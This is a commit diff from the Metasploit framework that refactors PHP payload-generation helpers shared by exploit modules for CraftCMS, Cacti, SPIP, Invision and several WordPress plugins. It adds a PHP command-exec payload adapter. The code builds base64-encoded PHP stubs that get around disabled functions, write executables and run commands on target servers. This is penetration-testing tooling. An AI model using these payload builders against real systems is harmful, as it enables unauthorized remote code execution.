Skip to content

Commit 17b3ded

Browse files
committed
Major refactoring of PHP payloads and related exploits
1 parent 1705cb7 commit 17b3ded

18 files changed

+73
-324
lines changed

lib/msf/core/exploit/php_exe.rb

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -49,17 +49,16 @@ def get_write_exec_payload(opts={})
4949
print_warning("Unable to clean up #{bin_name}, delete it manually")
5050
end
5151
p = Rex::Text.encode_base64(generate_payload_exe)
52-
vars = Rex::RandomIdentifier::Generator.new
53-
dis = "$#{vars[:dis]}"
52+
vars = Rex::RandomIdentifier::Generator.new(language: :php)
5453
php = %Q{
55-
#{php_preamble(disabled_varname: dis)}
54+
#{php_preamble(vars_generator: vars)}
5655
$ex = "#{bin_name}";
5756
$f = fopen($ex, "wb");
5857
fwrite($f, base64_decode("#{p}"));
5958
fclose($f);
6059
chmod($ex, 0777);
6160
function my_cmd($cmd) {
62-
#{php_system_block(disabled_varname: dis)};
61+
#{php_system_block(vars_generator: vars)};
6362
}
6463
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {
6564
my_cmd($ex . "&");

lib/msf/core/exploit/remote/http/wordpress/admin.rb

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -61,11 +61,10 @@ def generate_plugin(plugin_name, payload_name)
6161

6262
php_code = "<?php #{payload.encoded} ?>"
6363
if target['Arch'] != ARCH_PHP
64-
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
64+
vars = Rex::RandomIdentifier::Generator.new(language: :php)
6565
php_code = <<-END_OF_PHP_CODE
66-
#{php_preamble(disabled_varname: dis)}
67-
$c = base64_decode("#{Rex::Text.encode_base64(payload.encoded)}");
68-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
66+
#{php_preamble(vars_generator: vars)}
67+
#{php_system_block(vars_generator: vars, cmd: payload.encoded)}
6968
END_OF_PHP_CODE
7069
php_code = php_code + '?>'
7170
end

lib/msf/core/payload/php.rb

Lines changed: 23 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,10 @@ module Msf::Payload::Php
1717
# @return [String] A chunk of PHP code
1818
#
1919
def self.preamble(options = {})
20-
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
21-
dis = '$' + dis if (dis[0,1] != '$')
20+
vars = options.fetch(:vars_generator) { Rex::RandomIdentifier::Generator.new(language: :php) }
21+
22+
dis = options[:disabled_varname] || vars[:disabled_varname]
23+
dis = "$#{dis}" unless dis.start_with?('$')
2224

2325
# Canonicalize the list of disabled functions to facilitate choosing a
2426
# system-like function later.
@@ -55,21 +57,23 @@ def php_preamble(options = {})
5557
# command.
5658
#
5759
def self.system_block(options = {})
58-
cmd = options[:cmd_varname] || '$cmd'
59-
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
60-
output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
60+
vars = options.fetch(:vars_generator) { Rex::RandomIdentifier::Generator.new(language: :php) }
61+
62+
cmd = options[:cmd_varname] || vars[:cmd_varname]
63+
dis = options[:disabled_varname] || vars[:disabled_varname]
64+
output = options[:output_varname] || vars[:output_varname]
6165

62-
cmd = '$' + cmd if (cmd[0,1] != '$')
63-
dis = '$' + dis if (dis[0,1] != '$')
64-
output = '$' + output if (output[0,1] != '$')
66+
cmd = '$' + cmd unless cmd.start_with?('$')
67+
dis = '$' + dis unless dis.start_with?('$')
68+
output = '$' + output unless output.start_with?('$')
6569

66-
is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
67-
in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
70+
is_callable = vars[:is_callable_varname]
71+
in_array = vars[:in_array_varname]
6872

6973
setup = ''
7074
if options[:cmd]
7175
setup << <<~TEXT
72-
#{cmd}=gzuncompress(base64_decode('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(options[:cmd]))}'));
76+
#{cmd}=base64_decode('#{Rex::Text.encode_base64(options[:cmd])}');
7377
TEXT
7478
end
7579
setup << <<~TEXT
@@ -153,6 +157,14 @@ def php_system_block(options = {})
153157
Msf::Payload::Php.system_block(options)
154158
end
155159

160+
def php_exec_cmd(cmd)
161+
vars = Rex::RandomIdentifier::Generator.new(language: :php)
162+
<<-END_OF_PHP_CODE
163+
#{php_preamble(vars_generator: vars)}
164+
#{php_system_block(vars_generator: vars, cmd: cmd)}
165+
END_OF_PHP_CODE
166+
end
167+
156168
def self.create_exec_stub(php_code, options = {})
157169
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(php_code))
158170
b64_stub = "eval(gzuncompress(base64_decode('#{payload}')));"

modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb

Lines changed: 0 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -232,16 +232,4 @@ def exploit
232232
print_status('Injecting stub & triggering payload...')
233233
execute_via_session(payload_code)
234234
end
235-
236-
def php_exec_cmd(encoded_payload)
237-
gen = Rex::RandomIdentifier::Generator.new
238-
disabled_var = "$#{gen[:dis]}"
239-
b64 = Rex::Text.encode_base64(encoded_payload)
240-
241-
<<~PHP
242-
#{php_preamble(disabled_varname: disabled_var)}
243-
$c=base64_decode("#{b64}");
244-
#{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)}
245-
PHP
246-
end
247235
end

modules/exploits/multi/http/cacti_package_import_rce.rb

Lines changed: 1 addition & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -155,22 +155,10 @@ def check
155155
CheckCode::Appears
156156
end
157157

158-
# Taken from modules/payloads/singles/php/exec.rb
159-
def php_exec(cmd)
160-
dis = '$' + rand_text_alpha(4..7)
161-
shell = <<-END_OF_PHP_CODE
162-
#{php_preamble(disabled_varname: dis)}
163-
$c = base64_decode("#{Rex::Text.encode_base64(cmd)}");
164-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
165-
END_OF_PHP_CODE
166-
167-
Rex::Text.compress(shell)
168-
end
169-
170158
def generate_package
171159
@payload_path = "resource/#{rand_text_alphanumeric(5..10)}.php"
172160

173-
php_payload = target['Type'] == :php ? payload.encoded : php_exec(payload.encoded)
161+
php_payload = target['Type'] == :php ? payload.encoded : php_exec_cmd(payload.encoded)
174162

175163
digest = OpenSSL::Digest.new('SHA256')
176164
pkey = OpenSSL::PKey::RSA.new(2048)

modules/exploits/multi/http/invision_customcss_rce.rb

Lines changed: 0 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -88,19 +88,6 @@ def check
8888
end
8989
end
9090

91-
# I'll remove this method when PR #20160 is merged. I'm aware of it, thanks
92-
def php_exec_cmd(encoded_payload)
93-
vars = Rex::RandomIdentifier::Generator.new
94-
dis = '$' + vars[:dis]
95-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
96-
shell = <<-END_OF_PHP_CODE
97-
#{php_preamble(disabled_varname: dis)}
98-
$c = base64_decode("#{encoded_clean_payload}");
99-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
100-
END_OF_PHP_CODE
101-
return shell
102-
end
103-
10491
def exploit
10592
raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
10693
b64 = Rex::Text.encode_base64(raw)

modules/exploits/multi/http/spip_bigup_unauth_rce.rb

Lines changed: 0 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -146,22 +146,6 @@ def get_form_data
146146
nil
147147
end
148148

149-
# This function generates PHP code to execute a given payload on the target.
150-
# We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts.
151-
# The payload is encoded in base64 to prevent issues with special characters.
152-
# The generated PHP code includes the necessary preamble and system block to execute the payload.
153-
# This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like 'system' which might be disabled.
154-
def php_exec_cmd(encoded_payload)
155-
vars = Rex::RandomIdentifier::Generator.new
156-
dis = "$#{vars[:dis]}"
157-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
158-
<<-END_OF_PHP_CODE
159-
#{php_preamble(disabled_varname: dis)}
160-
$c = base64_decode("#{encoded_clean_payload}");
161-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
162-
END_OF_PHP_CODE
163-
end
164-
165149
def exploit
166150
form_data = get_form_data
167151

modules/exploits/multi/http/spip_connect_exec.rb

Lines changed: 0 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -97,18 +97,6 @@ def check
9797
Exploit::CheckCode::Safe
9898
end
9999

100-
def php_exec_cmd(encoded_payload)
101-
vars = Rex::RandomIdentifier::Generator.new
102-
dis = '$' + vars[:dis]
103-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
104-
shell = <<-END_OF_PHP_CODE
105-
#{php_preamble(disabled_varname: dis)}
106-
$c = base64_decode("#{encoded_clean_payload}");
107-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
108-
END_OF_PHP_CODE
109-
return shell
110-
end
111-
112100
def exploit
113101
uri = normalize_uri(target_uri.path, 'spip.php')
114102
print_status("#{rhost}:#{rport} - Attempting to exploit...")

modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb

Lines changed: 0 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -105,17 +105,6 @@ def check
105105
CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
106106
end
107107

108-
def php_exec_cmd(encoded_payload)
109-
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
110-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
111-
shell = <<-END_OF_PHP_CODE
112-
#{php_preamble(disabled_varname: dis)}
113-
$c = base64_decode("#{encoded_clean_payload}");
114-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
115-
END_OF_PHP_CODE
116-
return shell
117-
end
118-
119108
def exploit
120109
print_status('Preparing to send exploit payload to the target...')
121110
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)

modules/exploits/multi/http/spip_rce_form.rb

Lines changed: 0 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -112,18 +112,6 @@ def send_payload(cmd, args = {})
112112
)
113113
end
114114

115-
def php_exec_cmd(encoded_payload)
116-
vars = Rex::RandomIdentifier::Generator.new
117-
dis = '$' + vars[:dis]
118-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
119-
shell = <<-END_OF_PHP_CODE
120-
#{php_preamble(disabled_varname: dis)}
121-
$c = base64_decode("#{encoded_clean_payload}");
122-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
123-
END_OF_PHP_CODE
124-
return shell
125-
end
126-
127115
def exploit
128116
uri = normalize_uri(target_uri.path, 'spip.php?page=spip_pass&lang=fr')
129117
res = send_request_cgi({ 'uri' => uri })

modules/exploits/multi/http/wp_backup_migration_php_filter.rb

Lines changed: 0 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -95,18 +95,6 @@ def check
9595
CheckCode::Appears
9696
end
9797

98-
def php_exec_cmd(encoded_payload)
99-
vars = Rex::RandomIdentifier::Generator.new
100-
dis = '$' + vars[:dis]
101-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
102-
shell = <<-END_OF_PHP_CODE
103-
#{php_preamble(disabled_varname: dis)}
104-
$c = base64_decode("#{encoded_clean_payload}");
105-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
106-
END_OF_PHP_CODE
107-
return shell
108-
end
109-
11098
def exploit
11199
print_status('Sending the payload, please wait...')
112100

modules/exploits/multi/http/wp_hash_form_rce.rb

Lines changed: 0 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -125,19 +125,6 @@ def get_nonce
125125
nonce_match ? nonce_match[1] : nil
126126
end
127127

128-
def php_exec_cmd(encoded_payload)
129-
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
130-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
131-
132-
shell = <<-END_OF_PHP_CODE
133-
#{php_preamble(disabled_varname: dis)}
134-
$c = base64_decode("#{encoded_clean_payload}");
135-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
136-
END_OF_PHP_CODE
137-
138-
return Rex::Text.compress(shell)
139-
end
140-
141128
def upload_php_file(nonce)
142129
file_content = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
143130
file_name = "#{Rex::Text.rand_text_alpha_lower(8)}.php"

modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb

Lines changed: 0 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -74,18 +74,6 @@ def initialize(info = {})
7474
)
7575
end
7676

77-
def php_exec_cmd(encoded_payload)
78-
dis = '$' + Rex::RandomIdentifier::Generator.new.generate
79-
b64_encoded_payload = Rex::Text.encode_base64(encoded_payload)
80-
shell = <<-END_OF_PHP_CODE
81-
#{php_preamble(disabled_varname: dis)}
82-
$cmd = base64_decode("#{b64_encoded_payload}");
83-
#{php_system_block(cmd_varname: '$cmd', disabled_varname: dis)}
84-
END_OF_PHP_CODE
85-
86-
return Rex::Text.compress(shell)
87-
end
88-
8977
def check
9078
return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?
9179

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
include Msf::Payload::Adapter
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'OS Command Exec',
14+
'Description' => 'Execute an OS command from PHP',
15+
'Author' => 'Spencer McIntyre',
16+
'Platform' => 'php',
17+
'Arch' => ARCH_PHP,
18+
'License' => MSF_LICENSE,
19+
'AdaptedArch' => ARCH_CMD,
20+
'AdaptedPlatform' => 'unix'
21+
)
22+
)
23+
end
24+
25+
def generate(_opts = {})
26+
payload = super
27+
28+
vars = Rex::RandomIdentifier::Generator.new(language: :php)
29+
30+
<<~TEXT
31+
#{Msf::Payload::Php.preamble(vars_generator: vars)}
32+
#{Msf::Payload::Php.system_block(vars_generator: vars, cmd: payload)}
33+
?>
34+
TEXT
35+
end
36+
end

modules/payloads/singles/php/bind_perl.rb

Lines changed: 0 additions & 58 deletions
This file was deleted.

0 commit comments

Comments
 (0)